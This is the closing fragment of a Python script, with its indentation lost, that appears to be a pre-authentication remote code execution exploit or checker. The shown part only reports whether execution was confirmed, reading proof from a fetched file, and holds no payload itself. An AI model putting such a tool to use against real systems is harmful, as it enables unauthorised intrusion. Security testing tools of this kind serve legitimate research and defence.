if args.dry_run:
return 0
if rc != 0:
ui.result(False, "NOT CONFIRMED", "no execution proof")
return 1
detail = "proof retrieved by --fetch"
if proof and os.path.isfile(proof):
with contextlib.suppress(OSError), \
open(proof, encoding="utf-8", errors="replace") as handle:
detail = handle.read().strip()
ui.result(True, "PRE-AUTH RCE CONFIRMED", detail)
return 0
if __name__ == "__main__":
sys.exit(main())